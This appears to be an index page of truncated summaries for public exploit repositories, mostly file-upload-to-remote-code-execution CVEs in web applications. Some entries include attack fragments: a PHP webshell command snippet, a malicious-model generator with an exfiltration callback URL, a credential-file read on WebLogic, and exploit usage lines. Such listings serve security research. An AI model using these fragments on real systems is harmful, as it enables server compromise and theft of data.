CVE-2026-38526-POC

CVE-2026-38526 - Krayin CRM RCE Exploit Krayin CRM ≤ 2.2.x - Unrestricted File Upload leading to Remote Code Execution. This PoC exploits the vulnerable TinyMCE upload endpoint /admin/tinymce/upload to upload a PHP webshell and achieve command execution on the server. Features Full automatic logi...

tomcat-cve-2017-12617

Tomcat CVE-2017-12617 Exploit/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - JSP Upload Bypass / Remote Code Execution for Python3 I just made a few adjustments to the original script to be compatible with Python 3! If there's any problems or issues faced, feel free to shoot me an email...

CVE-2022-41840-PoC

Zenario CMS 9.3 - 未经身份验证的远程代码执行漏洞利用 CVE-2022-41840 一个影响 Zenario CMS 9.3 及更早版本的未经身份验证的远程代码执行（RCE）漏洞。该漏洞利用 AJAX 端点中的文件上传漏洞来上传 PHP 网页后门并实现代码执行。 漏洞详情 CVE : CVE-2022-41840 受影响版本 : Zenario CMS = 9.3 漏洞类型 : 未认证文件上传导致远程代码执行 攻击向量 : HTTP POST 至 /zenario/ajax.php 所需权限 : 无（未认证） 使用方法 交互式网页后门 root@kitploit:...

CVE-2025-43990-Magento-RCE

Magento APSB25-94 — Unauthenticated File Upload to RCE Overview Exploits unauthenticated file upload in Magento / Adobe Commerce via REST API guest cart customoptions file upload. Attack Chain root@kitploit: 1. GraphQL → leak product SKU 2. REST API → create guest cart 3. REST API → upload PNG...

CVE-2024-9756

🚀 WooCommerce Arbitrary File Upload Exploit CVE-2024-9756 📌 Overview This exploit leverages an unauthorized limited arbitrary file upload vulnerability in the Order Attachments for WooCommerce plugin versions 2.0 to 2.4.1 for WordPress. The vulnerability allows authenticated users Subscriber+ to...

CVE-2022-30887

CVE-2022-30887 药店管理系统 1.0 Shell 上传 该应用由 Mayurik 构建 这个用PHP开发的药店管理系统项目旨在通过安全和管理来提高药店的准确性和效率。简而言之，它是一个产品库存应用。 发现药店管理系统v1.0存在远程代码执行（RCE）漏洞，漏洞组件为“/phpaction/editProductImage.php”。攻击者可以通过特制图片文件执行任意代码。 什么是文件包含攻击 文件上传漏洞通常是一种允许脚本运行的漏洞。当我们上传文件到服务器并在上传的文件上输入命令时，它就会起作用。文件上传漏洞分为两种类型： LFI （本地文件包含） RFI （远程文件包含）...

CVE-2022-29464

WSO2 任意ファイルアップロードによるリモートコマンド実行 RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 例 root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2014-4725

CVE-2014-4725 this script is used to scan and exploit cve-2014-4725 vulnerability mailpoet/wysija newsletters in wordpress. features scan mode detect wordpress targets vulnerable to cve-2014-4725 exploit mode upload a zip payload to vulnerable targets installation 1. clone the repository:...

CVE-2020-29607

CVE-2020-29607-Exploit エクスプロイトタイトル: Pluck CMS 4.7.13 - ファイルアップロードリモートコード実行 認証済み CVE 説明: Pluck CMS 4.7.13 以前のバージョンにおけるファイルアップロード制限回避の脆弱性により、管理者権限を持つユーザーが「ファイル管理」機能を介してホストへのアクセスを取得でき、リモートコード実行につながる可能性があります。 https://nvd.nist.gov/vuln/detail/CVE-2020-29607 ExploitDB:...

OA-tongda-RCE

OA-tongda-RCE | Office Anywhere网络智能办公系统 后台Getshell 无需身份认证 1. 任意文件上传漏洞 /ispirit/im/upload.php 2. 本地文件包含漏洞 /ispirit/interface/gateway.php 命令执行绕过： root@kitploit: exec"cmd /c ".$command; $stdout = $exec-StdOut; $stroutput = $stdout-ReadAll; echo $stroutput; ? GetWebshell root@kitploit: ?php $fp =...

CVE-2025-29093-Arbitrary-File-Upload

CVE-2025-29093-Arbitrary-File-Upload This repository reveals a security vulnerability discovered in Motivian Content Management System v.41.0.0. CVE-2025-29093: Arbitrary File Upload This vulnerability was reported to the vendor in accordance with responsible disclosure practices, and to MITRE,...

cve-2019-2618

cve-2019-2618 Weblogic Upload VulnNeed username password-CVE-2019-2618 python使用 root@kitploit: python CVE-2019-2618.py url username password 解密weblogic密码 root@kitploit: root@f0cb7e674d7e:/Oracle cat /root/Oracle/Middleware/userprojects/domains/basedomain/servers/AdminServer/security/boot.properti...

Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB 请自行承担风险 部分代码需要修改。 1. 生成恶意模型 python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' " 2. 上传到 HuggingFace（手动或通过 API） 3. 运行侦察 python3...

CVE-2017-12615-EXP

CVE-2017-12615-EXP root@kitploit: .\CVE-2017-12615.exe @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@@@@ @@@@@ @@@ @@@@@@@ !@@ @@! @@@ @@! @@ @@@ @@! @@@ @@@@ @@! @@@@ @@ @@@ @@!@ @@@@ !@@ !@! @!@ !@! @!!!:! @!@!@!@! .!!@! @!@ !@! !@! @!! @!@!@!@! !@! .!!@! @!@!@!@ !@! !!@@!! :!! !:...

beanshooter

beanshooter beanshooter 是一个 JMX 枚举和攻击工具，用于识别 JMX 端点上的常见漏洞。 https://user-images.githubusercontent.com/49147108/183278179-4a5566a7-5af8-4ce8-a73d-1016876a36d5.mp4 安装 beanshooter 是一个 maven 项目，安装过程应该很简单。在安装了 maven 之后，只需执行以下命令即可创建一个可执行的 .jar 文件：console qtc@devbox $ git clone...

Peyara-FileUpload

漏洞利用标题：Peyara Remote Mouse v1.0.1 未经认证的任意文件上传 日期：2025-01-06 漏洞利用作者：tmrswrr 软件链接：https://peyara-remote-mouse.vercel.app/ 平台：Windows 版本：v1.0.1 测试环境：Windows 10 root@kitploit: 用法 : python3 combinedscript.py 创建恶意 LNK 文件 evil.lnk root@kitploit: $WshShell = New-Object -ComObject WScript.Shell $Shortcut ...

CVE-2024-52380

CVE-2024-52380 Picsmize -----------------------------263629263440545280502417734995 Content-Disposition: form-data; name="action"...

cve-2019-11447

CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC Target : 2.1.2 This PoC script is based on a simple implementation of the original exploit by BobbySox. The original exploit is an MSF module by Akuss. This script needs the target ip address or domain along with credentials and it will automatically...

CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version

CVE-2023-4596 CVE-2023-4596 の PoC スクリプト。任意のファイルアップロードを介して認証なしのリモートコマンド実行を行うために作成された効率的な Python ツールです。 リソース インストール 使用方法 使用方法 インストール root@kitploit: git clone https://github.com/X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version && cd CVE-2023-4596-Vulnerable-Exploit-and-Checker-Versio...

thingsboard-ssrf-cve-2025-34282

CVE-2025-34282 — ThingsBoard SSRF via SVG Image Upload Overview Server-Side Request Forgery SSRF vulnerability in ThingsBoard IoT Platform versions before 4.2.1. An attacker with Tenant Admin access can upload a crafted SVG file containing an internal URL reference via the Image Upload Gallery...